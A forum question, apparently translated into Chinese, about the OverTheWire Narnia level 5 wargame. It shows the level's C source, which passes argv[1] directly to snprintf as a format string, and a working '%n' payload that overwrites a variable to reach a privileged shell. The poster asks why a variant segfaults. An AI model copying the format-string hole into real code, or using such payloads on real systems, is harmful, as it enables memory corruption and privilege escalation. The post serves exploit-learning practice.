0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int i = 1;
    char buffer[64];

    snprintf(buffer, sizeof buffer, argv[1]);
    buffer[sizeof (buffer) - 1] = 0;
    printf("Change i's value from 1 -> 500. ");

    if(i==500){
        printf("GOOD\n");
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }

    printf("No way...let me give you a hint!\n");
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
    printf ("i = %d (%p)\n", i, &i);
    return 0;
}

你好!我正在做 ctf 练习(Overthewire 5 级,纳尼亚)。这是我尝试过的代码,但我不明白为什么第二个选项不起作用。

这个有效

 ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff" + "%496x%1$n"')

有了这个我得到SegFault

./narnia5 $(python -c 'print "\xe0\xd6\xff\xff" + "%496x%n"')

两种变体的原理是相同的,您传递地址和 %n 说明符读取传递的字节量,因为地址需要 4 个字节,我们添加 496 个字节和填充。据我了解,在他们两个中 %n 都会读取堆栈上的下一个地址。谢谢,您的回答。

4

0 回答 0